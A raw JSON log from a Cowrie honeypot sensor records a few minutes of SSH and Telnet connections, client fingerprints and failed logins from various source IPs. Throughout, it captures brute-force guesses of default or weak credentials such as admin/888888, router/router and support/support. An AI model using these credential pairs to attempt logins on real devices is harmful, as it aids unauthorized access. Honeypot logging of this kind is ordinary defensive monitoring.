{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:36.726196Z","src_ip":"103.15.222.183","session":"eb8e5f59c9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4256062507629395,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:37.386722Z","src_ip":"176.65.139.121","session":"59adf9ae7370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34556,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45aa683de52","protocol":"telnet","message":"New connection: 176.65.139.121:34556 (10.17.0.5:23) [session: c45aa683de52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:37.487358Z"}
{"eventid":"cowrie.session.closed","duration":38.95651292800903,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:40.654133Z","src_ip":"152.42.224.71","session":"c5f64d095bed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60510,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cfc7f0b672d","protocol":"telnet","message":"New connection: 152.42.224.71:60510 (10.17.0.5:23) [session: 1cfc7f0b672d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:40.889439Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"888888","message":"login attempt [admin/888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:43.160642Z","src_ip":"176.65.139.121","session":"c45aa683de52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.699000120162964,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:44.186264Z","src_ip":"176.65.139.121","session":"c45aa683de52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":34568,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d183bd99b8e","protocol":"telnet","message":"New connection: 176.65.139.121:34568 (10.17.0.5:23) [session: 6d183bd99b8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:44.307757Z"}
{"eventid":"cowrie.session.closed","duration":2.3785958290100098,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:46.686210Z","src_ip":"176.65.139.121","session":"6d183bd99b8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46284,"dst_ip":"10.17.0.5","dst_port":23,"session":"4abe26ffd9ea","protocol":"telnet","message":"New connection: 176.65.139.121:46284 (10.17.0.5:23) [session: 4abe26ffd9ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:46.819519Z"}
{"eventid":"cowrie.session.closed","duration":39.973763942718506,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:47.791689Z","src_ip":"152.42.224.71","session":"fd84ced009eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":49120,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6693796306e","protocol":"ssh","message":"New connection: 103.77.175.15:49120 (10.17.0.5:22) [session: f6693796306e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:50.089702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:50.199439Z","src_ip":"103.77.175.15","session":"f6693796306e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:50.343278Z","src_ip":"103.77.175.15","session":"f6693796306e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52402,"dst_ip":"10.17.0.5","dst_port":23,"session":"27a4d0ca563a","protocol":"telnet","message":"New connection: 152.42.224.71:52402 (10.17.0.5:23) [session: 27a4d0ca563a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:50.888424Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"t5r4e3w2q1","message":"login attempt [root/t5r4e3w2q1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:51.343157Z","src_ip":"103.77.175.15","session":"f6693796306e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52414,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5913b5c60eb","protocol":"telnet","message":"New connection: 152.42.224.71:52414 (10.17.0.5:23) [session: a5913b5c60eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:51.926766Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:52.597595Z","src_ip":"103.77.175.15","session":"f6693796306e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j1/_6s*w","message":"login attempt [root/j1/_6s*w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:52.973567Z","src_ip":"176.65.139.121","session":"4abe26ffd9ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.019027709960938,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:54.838407Z","src_ip":"176.65.139.121","session":"4abe26ffd9ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":46292,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f0849a3be29","protocol":"telnet","message":"New connection: 176.65.139.121:46292 (10.17.0.5:23) [session: 7f0849a3be29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:54.992232Z"}
{"eventid":"cowrie.session.closed","duration":48.67607617378235,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:55.083976Z","src_ip":"152.42.224.71","session":"da53ef294e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52428,"dst_ip":"10.17.0.5","dst_port":23,"session":"99caefba40eb","protocol":"telnet","message":"New connection: 152.42.224.71:52428 (10.17.0.5:23) [session: 99caefba40eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:55.267413Z"}
{"eventid":"cowrie.session.closed","duration":2.401226043701172,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:57.393294Z","src_ip":"176.65.139.121","session":"7f0849a3be29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":45098,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6f607704fea","protocol":"telnet","message":"New connection: 176.65.139.121:45098 (10.17.0.5:23) [session: c6f607704fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:57.473254Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":25274,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a664f9d5c75","protocol":"ssh","message":"New connection: 171.244.201.80:25274 (10.17.0.5:22) [session: 4a664f9d5c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:58.889945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:58.894485Z","src_ip":"171.244.201.80","session":"4a664f9d5c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:59.136298Z","src_ip":"171.244.201.80","session":"4a664f9d5c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.4132461547851562,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:59.886358Z","src_ip":"176.65.139.121","session":"c6f607704fea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":45128,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6fc524eb5c2","protocol":"telnet","message":"New connection: 176.65.139.121:45128 (10.17.0.5:23) [session: c6fc524eb5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:09:59.964956Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"xzhang","message":"login attempt [root/xzhang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:00.131075Z","src_ip":"171.244.201.80","session":"4a664f9d5c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:01.376590Z","src_ip":"171.244.201.80","session":"4a664f9d5c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.047125339508057,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:02.936465Z","src_ip":"152.42.224.71","session":"1cfc7f0b672d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"router","password":"router","message":"login attempt [router/router] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:05.785064Z","src_ip":"176.65.139.121","session":"c6fc524eb5c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.27733540534973,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:06.116492Z","src_ip":"152.42.224.71","session":"acb0287f4ab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.842602491378784,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:06.807471Z","src_ip":"176.65.139.121","session":"c6fc524eb5c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50306,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57cbd2cbf62","protocol":"telnet","message":"New connection: 176.65.139.121:50306 (10.17.0.5:23) [session: b57cbd2cbf62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:06.886144Z"}
{"eventid":"cowrie.session.closed","duration":2.4295923709869385,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:09.315530Z","src_ip":"176.65.139.121","session":"b57cbd2cbf62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50316,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc405fea4bb0","protocol":"telnet","message":"New connection: 176.65.139.121:50316 (10.17.0.5:23) [session: cc405fea4bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:09.444567Z"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:13.824653Z","src_ip":"176.65.139.121","session":"cc405fea4bb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.390089511871338,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:14.834511Z","src_ip":"176.65.139.121","session":"cc405fea4bb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":50342,"dst_ip":"10.17.0.5","dst_port":23,"session":"083b9a1a1130","protocol":"telnet","message":"New connection: 176.65.139.121:50342 (10.17.0.5:23) [session: 083b9a1a1130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:14.913466Z"}
{"eventid":"cowrie.login.failed","username":"daemon","password":"daemon","message":"login attempt [daemon/daemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:20.284647Z","src_ip":"176.65.139.121","session":"083b9a1a1130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.511083364486694,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:22.424373Z","src_ip":"176.65.139.121","session":"083b9a1a1130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"a117d504989e","protocol":"telnet","message":"New connection: 176.65.139.121:35420 (10.17.0.5:23) [session: a117d504989e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:22.559701Z"}
{"eventid":"cowrie.session.closed","duration":30.821300268173218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:22.747937Z","src_ip":"152.42.224.71","session":"a5913b5c60eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.593617916107178,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:22.860921Z","src_ip":"152.42.224.71","session":"99caefba40eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46782,"dst_ip":"10.17.0.5","dst_port":23,"session":"605e24af70b2","protocol":"telnet","message":"New connection: 152.42.224.71:46782 (10.17.0.5:23) [session: 605e24af70b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:24.649332Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56506,"dst_ip":"159.203.135.109","dst_port":22,"session":"25db89eea574","protocol":"ssh","message":"New connection: 89.108.118.91:56506 (159.203.135.109:22) [session: 25db89eea574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:25.283566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:25.289052Z","src_ip":"89.108.118.91","session":"25db89eea574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:25.431961Z","src_ip":"89.108.118.91","session":"25db89eea574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"novikov","message":"login attempt [root/novikov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:25.861163Z","src_ip":"89.108.118.91","session":"25db89eea574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":49464,"dst_ip":"10.17.0.5","dst_port":22,"session":"b05bd6312012","protocol":"ssh","message":"New connection: 103.27.238.116:49464 (10.17.0.5:22) [session: b05bd6312012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:26.780018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:26.789284Z","src_ip":"103.27.238.116","session":"b05bd6312012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:27.004626Z","src_ip":"89.108.118.91","session":"25db89eea574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:27.069505Z","src_ip":"103.27.238.116","session":"b05bd6312012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sergio","message":"login attempt [root/sergio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:27.916993Z","src_ip":"103.27.238.116","session":"b05bd6312012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:29.200555Z","src_ip":"103.27.238.116","session":"b05bd6312012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat1029","message":"login attempt [root/cat1029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:29.723074Z","src_ip":"176.65.139.121","session":"a117d504989e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.578585863113403,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:32.138142Z","src_ip":"176.65.139.121","session":"a117d504989e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":45940,"dst_ip":"10.17.0.5","dst_port":23,"session":"e04cebbb7307","protocol":"telnet","message":"New connection: 176.65.139.121:45940 (10.17.0.5:23) [session: e04cebbb7307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:32.216797Z"}
{"eventid":"cowrie.session.closed","duration":3.390122890472412,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:35.606782Z","src_ip":"176.65.139.121","session":"e04cebbb7307","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.121","src_port":45944,"dst_ip":"10.17.0.5","dst_port":23,"session":"04da38437db9","protocol":"telnet","message":"New connection: 176.65.139.121:45944 (10.17.0.5:23) [session: 04da38437db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:35.758604Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56136,"dst_ip":"159.203.135.109","dst_port":22,"session":"0750ae766e40","protocol":"ssh","message":"New connection: 193.37.70.224:56136 (159.203.135.109:22) [session: 0750ae766e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:10:37.082642Z"}
